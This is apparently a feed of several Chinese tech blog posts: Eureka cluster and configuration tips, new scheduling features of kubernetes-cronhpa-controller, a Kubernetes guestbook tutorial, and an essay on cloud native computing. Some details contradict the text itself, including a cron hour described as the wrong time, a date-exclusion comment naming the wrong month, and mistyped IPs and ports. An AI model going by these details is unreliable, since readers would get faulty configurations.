        前面我们搭建的注册中心只适合本地开发使用,在生产环境中必须搭建一个集群来保证高可用。Eureka 的集群搭建方法很简单:每一台 Eureka 只需要在配置中指定另外多个Eureka 的地址就可以实现一个集群的搭建了。
        下面我们以 2 个节点为例来说明搭建方式。假设我们有 master 和 slaveone 两台机器, 需要做的就是:

        • 将 master 注册到 slaveone 上面。
        • 将 slaveone 注册到 master 上面。

        如果是 3 台机器,以此类推:

        • 将 master 注册到 slaveone 和 slavetwo 上面。
        • 将 slaveone 注册到 master 和 slavetwo 上面。
        • 将 slavetwo 注册到 master 和 slaveone 上面。

        3.6.2 搭建步骤

        创建一个新的项目eureka-server-cluster,配置跟eureka-server一样。
        首先,我们需要增加 2 个属性文件,在不同的环境下启动不同的实例。增加 application-master.properties:

        image.png

        在A机器上默认用 master启动,然后在B机器上加上 --spring.profiles.active= slaveone 启动即可。
        这样就将master注册到了slaveone中,将slaveone 注册到了master中,无论谁出现问题,应用都能继续使用存活的注册中心。
        之前在客户端中我们通过配置eureka.client.serviceUrl.defaultZone来指定对应的注册中心,当我们的注册中心有多个节点后,就需要修改eureka.client.serviceUrl.defaultZone的配置为多个节点的地址,多个地址用英文逗号隔开即可:
        eureka.client.serviceUrl.defaultZone=http://yinjihuan:123456@localhost:8761

                   /eureka/,http://yinjihuan:123456@localhost:8762/eureka/

        3.7 常用配置讲解

        3.7.1 关闭自我保护

        保护模式主要在一组客户端和 Eureka Server 之间存在网络分区场景时使用。一旦进入保护模式,Eureka Server 将会尝试保护其服务的注册表中的信息,不再删除服务注册表中的数据。当网络故障恢复后,该 Eureka Server 节点会自动退出保护模式。
        如果在 Eureka 的 Web 控制台看到图3-3 所示的内容,就证明Eureka Server进入保护模式了。

        image.png

        可以通过下面的配置将自我保护模式关闭,这个配置是在eureka-server 中:
        eureka.server.enableSelfPreservation=false

        3.7.2 自定义Eureka的InstanceID

        客户端在注册时,服务的 Instance ID 的默认值的格式如下:
        ${spring.cloud.client.hostname}:${spring.application.name}:${spring.application. instance_id:${server.port}}
        翻译过来就是“主机名:服务名称:服务端口”。当我们在 Eureka 的 Web 控制台查看服务注册信息的时候,就是这样的一个格式:user-PC:eureka-client-user-service:8081。
        很多时候我们想把 IP 显示在上述格式中,此时,只要把主机名替换成 IP 就可以了,或者调整顺序也可以。可以改成下面的样子,用“服务名称:服务所在IP:服务端口”的格式来定义:
        eureka.instance.instance-id=${spring.application.name}:${spring.cloud.client.ip-address}:${server.port}
        定义之后我们看到的就是 eureka-client-user-service:192.168.31.245:8081,一看就知道是哪个服务,在哪台机器上,端口是多少。
        我们还可以点击服务的 Instance ID 进行跳转,这个时候显示的名称虽然变成了 IP,但是跳转的链接却还是主机名,请看图3-4 所示界面的左下角。

        image.png

        所以还需要加一个配置才能让跳转的链接变成我们想要的样子,使用 IP 进行注册,如图3-5 所示:
        eureka.instance.preferIpAddress=true

        image.png

        3.7.3 自定义实例跳转链接

        在3.7.2中,我们通过配置实现了用 IP 进行注册,当点击 Instance ID 进行跳转的时候,就可以用 IP 跳转了,跳转的地址默认是 IP+Port/info。我们可以自定义这个跳转的地址:
        eureka.instance.status-page-url=http://cxytiandi.com
        效果如图3-6 所示。

        image.png

        3.7.4 快速移除已经失效的服务信息

        在实际开发过程中,我们可能会不停地重启服务,由于 Eureka 有自己的保护机制,故节点下线后,服务信息还会一直存在于 Eureka 中。我们可以通过增加一些配置让移除的速度更快一点,当然只在开发环境下使用,生产环境下不推荐使用。
        首先在我们的eureka-server中增加两个配置,分别是关闭自我保护和清理间隔:
        image.png

        eureka.client.healthcheck.enabled 用于开启健康检查,需要在 pom.xml 中引入 actuator
        的依赖,如代码清单 3-12 所示。

        image.png

        其中:

        • eureka.instance.lease-renewal-interval-in-seconds表示Eureka Client发送心跳给server端的频率。
        • eureka.instance.lease-expiration-duration-in-seconds 表示 Eureka Server 至上一次收到client 的心跳之后,等待下一次心跳的超时时间,在这个时间内若没收到下一次心跳,则移除该 Instance。

        更多的Instance 配置信息可参考源码中的配置类:org.springframework.cloud.netflix. eureka.
        EurekaInstanceConfigBean。
        更多的Server配置信息可参考源码中的配置类:org.springframework.cloud.netflix. eureka. server.EurekaServerConfigBean。

        3.8 扩展使用

        3.8.1 Eureka REST API

        Eureka 作为注册中心,其本质是存储了每个客户端的注册信息,Ribbon 在转发的时候会获取注册中心的服务列表,然后根据对应的路由规则来选择一个服务给 Feign 来进行调用。如果我们不是 Spring Cloud 技术选型,也想用 Eureka,可以吗?完全可以。
        如果不是 Spring Cloud 技术栈,笔者推荐用 Zookeeper,这样会方便些,当然用 Eureka 也是可以的,这样的话就会涉及如何注册信息、如何获取注册信息等操作。其实 Eureka 也考虑到了这点,提供了很多 REST 接口来给我们调用。
        我们举一个比较有用的案例来说明,比如对 Nginx 动态进行 upstream 的配置。
        在架构变成微服务之后,微服务是没有依赖的,可以独立部署,端口也可以随机分配, 反正会注册到注册中心里面,调用方也无须关心提供方的 IP和Port,这些都可以从注册中心拿到。但是有一个问题:API 网关的部署能这样吗?API网关大部分会用 Nginx 作为负载,那么Nginx就必须知道API网关有哪几个节点,这样网关服务就不能随便启动了,需要固定。
        当然网关是不会经常变动的,也不会经常发布,这样其实也没什么大问题,唯一不好的就是不能自动扩容了。
        其实利用 Eureka 提供的 API 我们可以获取某个服务的实例信息,也就是说我们可以根据 Eureka 中的数据来动态配置 Nginx 的 upstream。
        这样就可以做到网关的自动部署和扩容了。网上也有很多的方案,结合 Lua 脚本来做, 或者自己写 Sheel 脚本都可以。
        下面举例说明如何获取 Eureka 中注册的信息。具体的接口信息请查看官方文档:
        https://github.com/Netflix/eureka/wiki/Eureka-REST-operations
        获取某个服务的注册信息,可以直接 GET 请求:http://localhost:8761/eureka/apps/eureka-client-user-service 。其中,eureka-client-user-service 是应用名称,也就是 spring.application.name。
        在浏览器中,数据的显示格式默认是 XML 格式的,如图3-7 所示。

        image.png

        如果想返回 Json 数据的格式,可以用一些接口测试工具来请求,比如 Postman,在请求头中添加下面两行代码即可,具体如图3-8 所示。
        Content-Type:application/json Accept:application/json
        如果 Eureka 开启了认证,记得添加认证信息,用户名和密码必须是 Base64 编码过的 Authorization:Basic 用户名:密码,其余的接口就不做过多讲解了,大家可以自己去尝试。Postman 直接支持了 Basic 认证,将选项从 Headers 切换到 Authorization,选择认证方式为 Basic Auth 就可以填写用户信息了,如图3-9 所示。
        填写完之后,直接发起请求就可以了。我们切换到 Headers 选项中,就可以看到请求头中已经多了一个 Authorization 头。

        image.png

        image.png

        3.8.2 元数据使用

        Eureka 的元数据有两种类型,分别是框架定好了的标准元数据和用户自定义元数据。标准元数据指的是主机名、IP 地址、端口号、状态页和健康检查等信息,这些信息都会被发布在服务注册表中,用于服务之间的调用。自定义元数据可以使用 eureka.instance. metadataMap 进行配置。
        自定义元数据说得通俗点就是自定义配置,我们可以为每个 Eureka Client 定义一些属于自己的配置,这个配置不会影响 Eureka 的功能。自定义元数据可以用来做一些扩展信息,比如灰度发布之类的功能,可以用元数据来存储灰度发布的状态数据,Ribbon 转发的时候就可以根据服务的元数据来做一些处理。当不需要灰度发布的时候可以调用 Eureka 提供的 REST API 将元数据清除掉。
        下面我们来自定义一个简单的元数据,在属性文件中配置如下:
        eureka.instance.metadataMap.yuantiandi=yinjihuan
        上述代码定义了一个 key 为 yuantiandi 的配置,value 是 yinjihuan。重启服务,然后通过 Eureka 提供的 REST API 来查看刚刚配置的元数据是否已经存在于 Eureka 中,如图3-10 所示。

        image.png

        3.8.3 EurekaClient使用

        当我们的项目中集成了 Eureka 之后,可以通过 EurekaClient 来获取一些我们想要的数据,比如上节讲的元数据。我们就可以直接通过 EurekaClient 来获取(见代码清单 3-13),不用再去调用 Eureka 提供的 REST API。

        image.png

        通过 PostMan 来调用接口看看有没有返回我们想要的数据,如图3-11 所示。

        image.png

        可以看到,通过 EurekaClient 获取的数据跟我们自己去掉 API 获取的数据是一样的, 从使用角度来说前者比较方便。
        除了使用 EurekaClient,还可以使用 DiscoveryClient(见代码清单 3-14),这个不是 Feign 自带的,是 Spring Cloud 重新封装的,类的路径为 org.springframework.cloud.client. discovery.DiscoveryClient。

        image.png
        image.png

        3.8.4 健康检查

        默认情况下,Eureka 客户端是使用心跳和服务端通信来判断客户端是否存活,在某些场景下,比如MongoDB出现了异常,但你的应用进程还是存在的,这就意味着应用可以继续通过心跳上报,保持应用自己的信息在Eureka中不被剔除掉。
        Spring Boot Actuator 提供了 /actuator/health 端点,该端点可展示应用程序的健康信息,当MongoDB异常时,/actuator/health 端点的状态会变成DOWN,由于应用本身确实处于存活状态,但是MongoDB的异常会影响某些功能,当请求到达应用之后会发生操作失败的
        情况。
        在这种情况下,我们希望可以将健康信息传递给 Eureka 服务端。这样Eureka中就能及时将应用的实例信息下线,隔离正常请求,防止出错。通过配置如下内容开启健康检查:
        eureka.client.healthcheck.enabled=true
        我们可以通过扩展健康检查的端点来模拟异常情况,定义一个扩展端点,将状态设置为DOWN,如代码清单 3-15 所示。

        image.png

        扩展好后我们访问/actuator/health可以看到当前的状态是DOWN,如图3-12所示。

        image.png

        Eureka中的状态是UP,如图3-13所示。

        image.png

        这种情况下请求还是能转发到这个服务中,下面我们开启监控检查,再次查看Eureka中的状态,如图3-14所示。

        image.png

        3.8.5 服务上下线监控

        在某些特定的需求下,我们需要对服务的上下线进行监控,上线或下线都进行邮件通知,Eureka 中提供了事件监听的方式来扩展。
        目前支持的事件如下:

        • EurekaInstanceCanceledEvent 服务下线事件。
        • EurekaInstanceRegisteredEvent 服务注册事件。
        • EurekaInstanceRenewedEvent 服务续约事件。
        • EurekaRegistryAvailableEvent Eureka 注册中心启动事件。
        • EurekaServerStartedEvent Eureka Server 启动事件。

        基于 Eureka 提供的事件机制,可以监控服务的上下线过程,在过程发生中可以发送邮件来进行通知。代码清单3-16只是演示了监控的过程,并未发送邮件。

        image.png
        image.png

        注意:在Eureka集群环境下,每个节点都会触发事件,这个时候需要控制下发送通知的行为,不控制的话每个节点都会发送通知。

        3.9 本章小结

        通过本章的学习,我们已经能够独立搭建一个高可用的 Eureka 注册中心,通过服务提供者和服务消费者的案例我们也对 Eureka 进行了实际的运用。本章最后讲解了一些经常用到的配置信息及 Eureka 的 REST API,通过 API 可以做一些扩展。

        ]]>
        Kubernetes弹性伸缩全场景解读(七) - 定时伸缩组件发布日期过滤等功能 Fri, 02 May 2025 09:39:04 +0800 前言

        kubernetes-cronhpa-controller是容器服务开源的一款面向Pod水平定时伸缩场景的CRD controller。在本系列的之前文章中已经向大家介绍了kubernetes-cronhpa-controller的基本用法了,今天我们来看下近期kubernetes-cronhpa-controller又增加了哪些新的功能。

        新功能介绍

        image_20191106224029044

        Helm Chart控制台集成一键安装

        容器服务控制台增加了kubernetes-cronhpa-controller的Helm Chart的安装方式,提供一键安装的能力,开发者可以通过左侧菜单的应用目录快速集成定时伸缩能力。

        单次运行(RunOnce)能力的支持

        kubernetes-cronhpa-controller的设计中,定时能力是通过类似crontab的语法来实现的,语法的格式如下:

          
            Field name   | Mandatory? | Allowed values  | Allowed special characters
            ----------   | ---------- | --------------  | --------------------------
            Seconds      | Yes        | 0-59            | * / , -
            Minutes      | Yes        | 0-59            | * / , -
            Hours        | Yes        | 0-23            | * / , -
            Day of month | Yes        | 1-31            | * / , - ?
            Month        | Yes        | 1-12 or JAN-DEC | * / , -
            Day of week  | Yes        | 0-6 or SUN-SAT  | * / , - ?    

        举几个常见的用法,例如:
        "* * * 15 11 *"表示每年的11月15日,"* * 8 * * *"表示每天的9点钟等等。但是如果我们只希望明天9点钟运行一次该怎么处理呢?标准的crontab在表达能力上是无法实现的,kubernetes-cronhpa-controller在定时任务的定义上增加了RunOnce字段,实现了这个能力。

        apiVersion: autoscaling.alibabacloud.com/v1beta1
        kind: CronHorizontalPodAutoscaler
        metadata:
          labels:
            controller-tools.k8s.io: "1.0"
          name: cronhpa-sample
        spec:
           scaleTargetRef:
              apiVersion: apps/v1beta2
              kind: Deployment
              name: nginx-deployment-basic
           jobs:
           - name: "scale-up"
             schedule: "* * 8 * * *"
             targetSize: 10
             runOnce: true
           - name: "scale-down"
             schedule: "* * 11 * * *"
             targetSize: 3
             runOnce: true

        当runOnce字段设置为true的时候,任务第一次执行完成后,无论成功与失败,这个任务都会停留在当前的状态。
        runOnce字段的设计更多的是考虑到接入的场景,当你希望通过SDK或者接口进行定时扩容的能力时,runOnce可以帮助你解决time schedule侧的逻辑。

        日期过滤(excludeDates)能力的支持

        应用有很多种不同的类型,有在线应用类型的,有离线任务类型的,他们的资源使用画像也是各不相同。很多行业领域的应用资源画像是非常独特的,比较有代表性的是游戏、证券等行业。例如:证券行业工作日上午9:30-11:30,下午13:00-15:00为交易时间,国家法定节假日休市。其他的时间,只能查询不提供交易。对于这个场景而言,工作日的周期性负载画像很明确,而法定节假日基本等同于波谷。那么kubernetes-cronhpa-controller要如何支持这个能力呢?
        kubernetes-cronhpa-controller在Spec中增加了excludeDates的字段,提供日期排除过滤功能。
        例如,我们给一个定时伸缩的任务过滤十一的七天法定假期,Yaml如下:

        apiVersion: autoscaling.alibabacloud.com/v1beta1
        kind: CronHorizontalPodAutoscaler
        metadata:
          labels:
            controller-tools.k8s.io: "1.0"
          name: cronhpa-sample
        spec:
           scaleTargetRef:
              apiVersion: apps/v1beta2
              kind: Deployment
              name: nginx-deployment-basic
           excludeDates:
           - "* * * 1-7 10 *" # exclude November 15th
           jobs:
           - name: "scale-up"
             schedule: "* 30 8 * * 1-5"
             targetSize: 50
           - name: "scale-down"
             schedule: "* 30 10 * * 1-5 "
             targetSize: 5

        其中excludeDates字段为一个数组,可以增加更多其他的过滤日期。这样一个典型的有过滤条件的定时伸缩能力就完成。

        最后

        kubernetes-cronhpa-controller的项目地址是https://github.com/AliyunContainerService/kubernetes-cronhpa-controller,非常欢迎大家提交issues和pr。

        ]]>
        初识 K8s,创建一个guestbook留言簿应用 【K8s | from zero to hero】 Fri, 02 May 2025 09:39:04 +0800 课后实践:Kubernetes 核心概念

        1. 目标概述

        本文介绍一个简单的K8s上手应用,希望通过这个简单的实践让大家对K8s的核心概念有更深入的理解。

        1. 巩固 Kubernetes 的基本概念
        2. 学会使用 Kubernetes 部署一个标准的“多层(multi-tier)”应用
        3. 了解 Kubernetes 里如何通过 Pod,Deployment,Service 等 API 原语描述“应用”

        2. 实验概览

        完成此实验后,可以掌握的能力有:

        本实验主要在 Kubernetes 集群上部署一个名叫 guestbook 留言簿的 CURD (增查改删)应用。guestbook 是 Kubernetes 社区的一个经典的应用示例,它有一个 Web 界面来让用户进行 CURD 操作,然后向一个 Redis 主节点写入数据,从多个 Redics 从节点读去数据。

        实验分以下几个步骤:

        1. 创建 Redis 主节点
        2. 创建 Redis 从节点集群
        3. 创建 guestbook 应用
        4. 将 guestbook 应用通过 Service 暴露出来并进行访问
        5. 水平扩展 guestbook 应用

        3. 所需资源:

        一个完备的 Kubernetes 集群。您可以选择阿里云容器服务Kubernetes(ACK)进行上手操作。

        可以用 Minikube 快速启动一个单节点集群(国内建议使用Minikube 中国版),也可以用云上的 Kubernetes 集群。本次实验演示将使用阿里云容器服务提供的 Kubernetes 集群,版本为 1.12。

        你可以使用使用 kubectl version 查看你的集群版本同实验版本一致。

        4. 实验详情

        4.1 创建 Redis 主节点

        在这里,我们使用一个叫做 Deployment 的 API 对象,来描述单实例的Redis 主节点。

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: redis-master
          labels:
            app: redis
        spec:
          selector:
            matchLabels:
              app: redis
              role: master
              tier: backend
          replicas: 1
          template:
            metadata:
              labels:
                app: redis
                role: master
                tier: backend
            spec:
              containers:
              - name: master
                image: registry.cn-hangzhou.aliyuncs.com/kubeapps/redis
                resources:
                  requests:
                    cpu: 100m
                    memory: 100Mi
                ports:
                - containerPort: 6379

        我们需要把这个上述内容保存为本地 YAML文件,名叫:redis-master-deployment.yaml。这个文件主要定义了两个东西:第一,Pod 里的容器的镜像是 redis;第二,这个 Deployment 的实例数(replicas)是 1,即指启动一个 Pod。

        然后,我们使用 Kubernetes 的客户端,执行如下操作:

         $  kubectl apply -f  redis-master-deployment.yaml
         deployment.apps/redis-master created

        这一步完成后,Kubernetes 就会按照这个 YAML 文件里的描述为你创建对应的 Pod。这种使用方式就是声明式 API 的典型特征。

        接下来,我们可以查看到这个 Pod:

        $ kubectl get pods
        NAME                            READY   STATUS    RESTARTS   AGE
        redis-master-68979f4ddd-pg9cv   1/1     Running   0          49s

        可以看到,Pod 已经进入了 Running 状态,表示一切正常。这时,我们就可以查看这个 Pod 里的 Redis 的日志:

        $ kubectl logs -f redis-master-68979f4ddd-pg9cv
        1:C 26 Apr 2019 18:49:29.303 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
        1:C 26 Apr 2019 18:49:29.303 # Redis version=5.0.4, bits=64, commit=00000000, modified=0, pid=1, just started
        1:C 26 Apr 2019 18:49:29.303 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
        1:M 26 Apr 2019 18:49:29.304 * Running mode=standalone, port=6379.
        1:M 26 Apr 2019 18:49:29.304 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
        1:M 26 Apr 2019 18:49:29.304 # Server initialized
        1:M 26 Apr 2019 18:49:29.304 * Ready to accept connections

        4.2 为 Redis 主节点创建 Service

        Kubernetes 里要访问 Pod 最好通过 Service 的方式,这样客户端就不需要记录 Pod 的 IP 地址了。我们的 guestbook 网站需要访问 Redis 主节点的 Pod,所以也要通过 Service 来做。这个 Service API 对象的定义如下所示:

        apiVersion: v1
        kind: Service
        metadata:
          name: redis-master
          labels:
            app: redis
            role: master
            tier: backend
        spec:
          ports:
          - port: 6379
            targetPort: 6379
          selector:
            app: redis
            role: master
            tier: backend

        这个 Service 名叫 redis-master,它声明用自己的 6379 端口代理 Pod 的 6379端口。

        我们还是把上述内容保存成文件然后让 Kubernetes 为我们创建它:

        $  kubectl apply -f redis-master-service.yaml
        service/redis-master created

        然后我们可以查看一下这个 Service:

        $ kubectl get service
        NAME           TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
        kubernetes     ClusterIP   10.96.0.1        <none>        443/TCP    181d
        redis-master   ClusterIP   10.107.220.208   <none>        6379/TCP   9s

        这时候,你就可以通过 10.107.220.208:6379 访问到这个 Redis 主节点。

        4.3 创建 Redis 从节点集群

        我们这个示例中,有多个 Redis 从节点来共同响应读请求。同样的,我们还是通过 Deployment 来描述"一个服务由多个相同的 Pod 实例副本组成"这种语义。

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: redis-slave
          labels:
            app: redis
        spec:
          selector:
            matchLabels:
              app: redis
              role: slave
              tier: backend
          replicas: 2
          template:
            metadata:
              labels:
                app: redis
                role: slave
                tier: backend
            spec:
              containers:
              - name: slave
                image: registry.cn-hangzhou.aliyuncs.com/kubeapps/gb-redisslave:v1
                resources:
                  requests:
                    cpu: 100m
                    memory: 100Mi
                env:
                - name: GET_HOSTS_FROM
                  value: env
                ports:
                - containerPort: 6379

        在这个 Deployment 中,我们指定了 replicas: 2,即这个 Deployment 会启动两个相同 Pod(Redis 从节点)。

        此外,gb-redisslave:v1 这个镜像,会自动读取 REDIS_MASTER_SERVICE_HOST 这个环境变量的值,也就是 Redis 主节点的 Service 地址,然后用它来组建集群。这个环境变量是Kubernetes 自动根据 redis-master 这个 Service 名字,自动注入到集群的每一个 Pod 当中的。

        然后,我们创建 Redis 从节点:

        $ kubectl apply -f redis-slave-deployment.yaml
        deployment.apps/redis-slave created

        这时候,我们就可以查看这些从节点的状态:

        $ kubectl get pods
        NAME                            READY   STATUS              RESTARTS   AGE
        redis-master-68979f4ddd-pg9cv   1/1     Running             0          17m
        redis-slave-78b464f5cd-2kn7w    0/1     ContainerCreating   0          37s
        redis-slave-78b464f5cd-582bk    0/1     ContainerCreating   0          37s

        4.4 为 Redis 从节点创建 Service

        类似的,为了让 guestbook 应用访问上述 Redis 从节点,我们还需要为它们创建一个 Service。在Kubernetes 里,Service 可以通过 selector 选择代理多个 Pod,并且负责负载均衡。这个Service 内容如下所示:

        apiVersion: v1
        kind: Service
        metadata:
          name: redis-slave
          labels:
            app: redis
            role: slave
            tier: backend
        spec:
          ports:
          - port: 6379
          selector:
            app: redis
            role: slave
            tier: backend

        创建和查看 Service( 注意:这里 6379 端口使用了简化写法,就不需要写明 targetPort了):

        $ kubectl apply -f redis-slave-svc.yaml
        service/redis-slave created
        
        $ kubectl get services
        NAME           TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
        kubernetes     ClusterIP   10.96.0.1        <none>        443/TCP    181d
        redis-master   ClusterIP   10.107.220.208   <none>        6379/TCP   16m
        redis-slave    ClusterIP   10.101.244.239   <none>        6379/TCP   57s

        这样,你就可以通过 10.10.101.244:6379 访问到任何一个 Redis 从节点了。

        4.5 创建 guestbook 应用

        guestbook 应用本身,依然通过一个 Deployment 来描述,如下所示:

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: frontend
          labels:
            app: guestbook
        spec:
          selector:
            matchLabels:
              app: guestbook
              tier: frontend
          replicas: 3
          template:
            metadata:
              labels:
                app: guestbook
                tier: frontend
            spec:
              containers:
              - name: php-redis
                image: registry.cn-hangzhou.aliyuncs.com/kubeapps/gb-frontend:v4
                resources:
                  requests:
                    cpu: 100m
                    memory: 100Mi
                env:
                - name: GET_HOSTS_FROM
                  value: env
                ports:
                - containerPort: 80

        这个 YAML 定义了一个 3 副本的 Deployment,即 guestbook 应用会启动 3 个 Pod。

        我们还是通过同样的步骤创建这个 Deployment:

        $ kubectl apply -f frontend.yaml
        deployment.apps/frontend created

        查看 Pod 的状态:

        $ kubectl get pods -l app=guestbook -l tier=frontend
        NAME                       READY   STATUS    RESTARTS   AGE
        frontend-78d6c59f4-2x24x   1/1     Running   0          3m4s
        frontend-78d6c59f4-7mz87   1/1     Running   0          3m4s
        frontend-78d6c59f4-sw7f2   1/1     Running   0          3m4s

        4.6 为 guestbook 应用创建 Service

        为了能够让用户访问到 guestbook,我们也需要为 guestbook 来创建一个 Service,从而把这个应用以服务的形式暴露出来给用户使用。

        而为了能够让 Kubernetes 集群以外的用户,这个 Service 就必须是一个外部可访问的 Service。这个在 Kubernetes 里有几种做法。在云上最常见的,是 LoadBalancer 模式。

        apiVersion: v1
        kind: Service
        metadata:
          name: frontend
          labels:
            app: guestbook
            tier: frontend
        spec:
          # 自建集群只能使用 NodePort 模式
          # type: NodePort 
          type: LoadBalancer
          ports:
          - port: 80
          selector:
            app: guestbook
            tier: frontend

        由于我的集群由阿里云容器服务提供,所以像上面这样直接用 LoadBalancer 模式即可。

        $ kubectl apply -f frontend-service.yaml
        $ kubectl get service frontend
        NAME       TYPE        CLUSTER-IP      EXTERNAL-IP        PORT(S)        AGE
        frontend   ClusterIP   172.19.10.209   101.37.192.20     80:32372/TCP   1m

        现在,你只要用浏览器打开 EXTERNAL-IP 对应的地址: http://101.37.192.20:31323 ,就可以访问到这个部署好的 guestbook 应用了。

        而如果你是自建集群,那就只能用 NodePort 模式来实验(上面 YAML 的注释已经给出了使用方法)。需要注意的是 NodePort 由于安全性问题,不建议在生产环境中使用。

        4.7 水平扩展 guestbook 应用

        要通过 Kubernetes 来水平扩展你的应用以响应更多的请求非常简单,只需要如下一条命令:

        $ kubectl scale deployment frontend --replicas=5
        deployment.extensions/frontend scaled

        你就会立刻看到你的 guestbook 应用的实例从 3 个变成了 5 个:

        $ kubectl get pods -l app=guestbook -l tier=frontend
        NAME                       READY   STATUS    RESTARTS   AGE
        frontend-78d6c59f4-2x24x   1/1     Running   0          14m
        frontend-78d6c59f4-7mz87   1/1     Running   0          14m
        frontend-78d6c59f4-chxwd   1/1     Running   0          19s
        frontend-78d6c59f4-jrvfx   1/1     Running   0          19s
        frontend-78d6c59f4-sw7f2   1/1     Running   0          14m

        本文由阿里云容器云平台团队撰写,如有问题或希望转载还请与我们沟通,谢谢!

        ]]>
        聊聊云原生和 Serverless Fri, 02 May 2025 09:39:04 +0800 随着 Kubernetes 的崛起和 CNCF 的壮大,云原生的概念已经越来越深入人心。几乎到了如果不和云原生扯上点儿关系似乎就不好意思和别人对话的地步。那么到底什么是云原生?要搞清楚什么是云原生,我们首先要弄清楚云到底是怎么回事儿。接下来我们就从 IaaS 的演进和服务化的演进这两个脉络来看看云的发展趋势和云原生的含义。

        IaaS 的演进

        应用想要运行首先需要足够的计算资源,而物理机的性能在过去的十几年里始终保持着摩尔定律的速度在增长。这就导致单个应用根本无法充分利用整个物理机的资源。所以就需要有一种技术解决资源利用率的问题。简单的想如果一个应用占不满整个物理机的资源,就多部署几个。但在同一个物理机下混合部署多个应用会有下面这些问题:

        • 应用之间的端口冲突
          如果一个应用占用了 80 端口,那么所有其他的应用就都不能使用 80 端口了,在同一台物理机上面每一个端口都是唯一的,不能被重复使用
        • 应用的依赖冲突
          比如 Python、Nodejs、Perl、PHP 等等这些脚本语言都需要提前安装好脚本解析器才能运行。而在同一台物理机上面如果对而写软件维护多个版本是一件非常困难的事情,一旦出错就可能导致所有应用崩溃。
        • 资源隔离
          不同应用使用的出资源不能不能有效的进行隔离,就容易相互影响。如果一个应用有 BUG 占光了内存会导致其他应用出问题。
        • 运维操作相互影响
          一个应用的管理员误操作可能会导致本机器上面的所有应用崩溃

        虚拟机技术的出现就完美的解决了上述问题,通过虚拟机技术既可以在同一个物理机上面部署多个应用,又能保证应用之间的松耦合。

        虚拟机技术的出现除了提升资源的使用效率还带来了另外一个变革:使得不可变基础设施成为了可能。
        不可变基础设施(Immutable Infrastructure)是由 Chad Fowler 于 2013 年提出的一个很有前瞻性的构想:在这种模式中,任何基础设施的实例(包括服务器、容器等各种软硬件)一旦创建之后便成为一种只读状态,不可对其进行任何更改。如果需要修改或升级某些实例,唯一的方式就是创建一批新的实例以替换。
        这意味着配置工作可以被低成本的重复使用,这就大大减少了配置管理工作的负担,让持续集成与持续部署过程变得更流畅。同时它也更易于应对部署环境间的差异及版本管理,包括在部署出错时可进行快速回滚 —— 只要旧版本的镜像文件还有备份,就可以快速地生成旧版本的实例进行替换。

        随着虚拟机技术的普及,人们越来越发现虽然虚拟机可以提升物理机的使用效率,但是虚拟机本身也会占用巨大的开销。2013 年 Docker 的出现又在虚拟机的基础上增进了一步。Docker 首先提出了镜像的概念,通过 Docker 镜像可以很容易的创建两个环境一样的运行时、这对开发测试、软件交付已经线上升级等都带来了巨大的便利性。另外 Docker 使用了内核的隔离技术,相比于虚拟机会占用的系统资源更少,所以效率更高。下图是基于虚拟机部署应用和基于容器化部署应用的对比关系。
        image

        从架构上来看 Docker比虚拟化少了两层,取消了 hypervisor 层和 GuestOS 层,使用 Docker Engine 进行调度和隔离,所有应用共用主机操作系统,因此在体量上 Docker 较虚拟机更轻量级,在性能上优于虚拟化,接近裸机性能。

        Docker 之后紧跟着 Kubernetes 就出现了,Kubernetes 之后的故事大家都知道了,现在 Kubernetes 已经成了云原生的标配了,并且现在各大云厂商都提供了 Kubernetes 服务。在 Kubernetes 模式下有一个明显的特征就是你无需关心你的应用实例(Pod) 运行在哪里,因为这都是系统自动调度的。

        从物理机到 VM 就已经无需关心真正的物理机了,应用程序只需要面向逻辑的虚拟机进行管理。到了容器时代还是有很多人直接在 VM 里面使用容器的。比如现在的公有云厂售卖的 VM 都可以跑 Docker。再次 Docker 到 Kubernetes 会发现又对底层的计算资源做了一层抽象。到了 Kubernetes 这一代就完全是根据需要自动分配资源,不需要提前占用物理机资源、或者 VM 资源,都是按需申请、按需调度的。

        从 IaaS 虚拟化的这个维度我们发现云的发展趋势是在这两个维度上进行演化:

        • 按需分配计算资源
          对应用程序运行所在的节点越来越弱化,从虚拟化开始就都是逻辑层面的。到了人 Kubernetes 时代完全是按需申请和按需分配的。
        • 不可变基础设施
          应用程序只需要先设置好运行的基础环境,做一个镜像,然后用这个镜像到处运行。

        服务化的演进

        在单体应用时代,每一个单体应用都是一个大而全的功能集合。每个服务器运行的都是这个应用的完整服务。但随着业务的增长单体应用面对的问题也越来越多,例如

        • 开发效率变低
        • 部署影响变大
        • 可扩展性较差
        • 技术选型成本高

        所以出现了服务的拆分,也就是微服务。微服务可以实现:

        • 每个微服务易于开发与维护,便于沟通与协作,很适合小团队敏捷开发与持续交付
        • 每个微服务职责单一,高内聚、低耦合。
        • 每个微服务能够独立开发、独立运行、独立部署
        • 每个微服务之间是独立的,如果某个服务部署或者宕机,只会影响到当前服务,而不会对整个业务系统产生影响
        • 每个微服务可以随着系统规模的不断扩大,面对海量用户和高并发,独立做水平扩展与垂直扩展

        微服务虽好,但也不是银弹。微服务提升效率的同时也对设计和运维难度提出了更高的要求,同时也带来了技术的复杂度。我们必须要思考与解决分布式的复杂性、数据的一致性、服务的管理与运维、服务的自动化部署等解决方案。
        我们知道应用交互的复杂性不会消失,只会换一种方式存在。这个原理也同样适用于软件架构。引入微服务并不会减少原来业务的开发的复杂性,只是把复杂性换一个方式存在而已。事实上,微服务通过拆分单体应用使其成为多个体积更小的服务来降低单个服务的复杂性,但从整体来看,这种方式有造成了存在大量的服务,而服务之间的相互调用也会增多,从而导致整个系统的复杂性增加不少。
        繁多的微服务之间的关系需要自动化的方式维护:

        • 服务注册和发现
        • 限流、熔断
        • 失败重试、超时时间等
        • 负载均衡
        • trace 等

        Dubbo、Spring Cloud 这些微服务框架的出现很好的解决了微服务调用之间的复杂度问题。微服务框架能够解决服务通信和服务治理的复杂性,比如服务发现、熔断、限流、全链路追踪等挑战。
